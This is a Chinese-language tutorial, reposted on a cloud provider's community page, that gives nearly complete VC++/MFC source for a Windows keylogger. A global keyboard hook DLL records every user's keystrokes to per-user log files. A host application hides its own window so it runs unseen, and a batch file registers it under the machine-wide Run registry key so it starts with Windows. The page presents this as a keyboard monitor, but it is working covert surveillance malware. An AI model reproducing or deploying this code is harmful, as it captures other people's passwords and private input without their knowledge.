VC++開發Windows系統全域鉤子

來源:互聯網
上載者:User

標籤:

   本文的大部分內容屬於對一篇網文的實踐與練習,同時參考的還有一本書,在此向網文與書的作者表示敬意。

這個程式是一個windows系統鍵盤監控程式,隨著開機自動啟動,可以監控系統中各使用者的鍵盤,並將按鍵記錄寫在指定的log檔案裡。

程式分為兩個部分:全域鉤子DLL和一個隱藏的單文檔應用程式。

  • 全域鉤子DLL

建立基於“MFC AppWizard(dll)”的“擴充MFC DLL(Extension MFC DLL)”類型工程KeyBoardHook

在自動產生的源檔案KeyBoardHook.cpp中,

定義全域變數:

#pragma data_seg("publicdata")HHOOK hhook = NULL;HINSTANCE pinstance = NULL;#pragma data_seg()

在DLL入口函數中,添加擷取鉤子執行個體控制代碼的代碼:

extern "C" int APIENTRYDllMain(HINSTANCE hInstance, DWORD dwReason, LPVOID lpReserved){    // Remove this if you use lpReserved    UNREFERENCED_PARAMETER(lpReserved);    if (dwReason == DLL_PROCESS_ATTACH)    {        TRACE0("KEYBOARDHOOK.DLL Initializing!\n");                // Extension DLL one-time initialization        if (!AfxInitExtensionModule(KeyBoardHookDLL, hInstance))            return 0;        new CDynLinkLibrary(KeyBoardHookDLL);        pinstance = hInstance; //擷取鉤子執行個體控制代碼    }    else if (dwReason == DLL_PROCESS_DETACH)    {        TRACE0("KEYBOARDHOOK.DLL Terminating!\n");        // Terminate the library before destructors are called        AfxTermExtensionModule(KeyBoardHookDLL);    }    return 1;   // ok}

全域鉤子的具體實現代碼:

//儲存記錄檔extern "C" void SaveLog(char* c){    //printf("剛才點擊的是%c鍵/n", &c);    //char buffer[80];    //wsprintf(buffer, "c的值是%c", c);    //AfxMessageBox(buffer);    const int MAX_BUFFER_LEN = 500;      char  szBuffer[MAX_BUFFER_LEN];      DWORD dwNameLen;        dwNameLen = MAX_BUFFER_LEN;      GetUserName(szBuffer, &dwNameLen);    CTime tm=CTime::GetCurrentTime();    CString name;    name.Format("c:\\keyboard\\Key_%s_%d_%d.log", szBuffer, tm.GetMonth(),tm.GetDay());    CFile file;    if(!file.Open(name,CFile::modeReadWrite))    {        file.Open(name,CFile::modeCreate|CFile::modeReadWrite);    }    file.SeekToEnd();    file.Write(c,1);    file.Close();}//鍵盤鉤子回呼函數extern "C" LRESULT CALLBACK KeyboardPro(int nCode , WPARAM wParam, LPARAM  lParam){    LRESULT Result=CallNextHookEx(hhook,nCode,wParam,lParam);//AfxMessageBox("huidiao");    if(nCode == HC_ACTION){        if(lParam & 0x80000000){            char c[1];            c[0]=wParam;    //AfxMessageBox(c);            SaveLog(c);        }    }    return Result;}//安裝鉤子,即建立了鉤子WH_KEYBOARD到鉤子處理函數KeyboardPro()的連結extern "C" bool WINAPI InstallHook(){//    AfxMessageBox("anzhuang");    hhook = (HHOOK)SetWindowsHookEx( WH_KEYBOARD, KeyboardPro, pinstance, 0);    if(hhook != NULL)        return true;    else        return false;}

用def檔案匯出DLL函數,在KeyBoardHook.def中添加:

EXPORTS    ; Explicit exports can go here    InstallHook        @1        //dll匯出函數的名稱為InstallHook,序號為1

至此,編譯並運行,程式的DLL部分便完成了。

  • 負責調用DLL的單文檔應用程式

建立一個MFC單文檔應用程式工程KeyBoardHookApp,將剛才DLL工程中編譯好的KeyBoardHook.dll和KeyBoardHook.lib拷貝到KeyBoardHookApp工程的Debug目錄中。

設定串連檔案:在 工程->設定->串連 的“對象/庫模組 ”中填寫KeyBoardHook.lib

在標頭檔KeyBoardHookApp.h中添加匯出函式宣告,以滿足在此應用中調用DLL中的函數:

//安裝鉤子函數extern "C" bool WINAPI InstallHook();

在視類KeyBoardHookAppView.cpp中重載虛函數OnInitialUpdate(),並添加程式碼完成對鍵盤鉤子的安裝:

具體操作可以利用VC++類嚮導自動產生代碼:ctrl+w建立類嚮導,然後在class name中選擇帶...View的視類,選擇類本身的Object ID,在Message中選擇OnInitialUpdate,雙擊Member functions添加代碼。

void CKeyBoardHookAppView::OnInitialUpdate() {    CView::OnInitialUpdate();        // TODO: Add your specialized code here and/or call the base class    InstallHook();}

最後,將本單文檔應用程式的視窗進行隱藏,使之成為一個後台監控程式:

在KeyBoardHookApp.cpp的InitInstance()函數中將m_pMainWnd->ShowWindow(SW_SHOW)改為m_pMainWnd->ShowWindow(SW_HIDE)即可。

 

  • 設定本程式隨開機自啟動

使用bat批處理來製作安裝和卸載

md C:\keyboard@reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v KeyboardHook /t REG_SZ /d D:\keyboardhook\KeyBoardHookApp.exe
@reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v KeyboardHook /f

 

以管理員身份運行“安裝.bat”  ,程式在系統重啟後生效。記錄檔放在C:\keyboard目錄下。

 

參考:

《精通Windows程式設計——基於Visual C++實現》   人民郵電出版社

《利用鍵盤鉤子捕獲Windows鍵盤動作》    http://www.yesky.com/328/1890328.shtml

VC++開發Windows系統全域鉤子

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.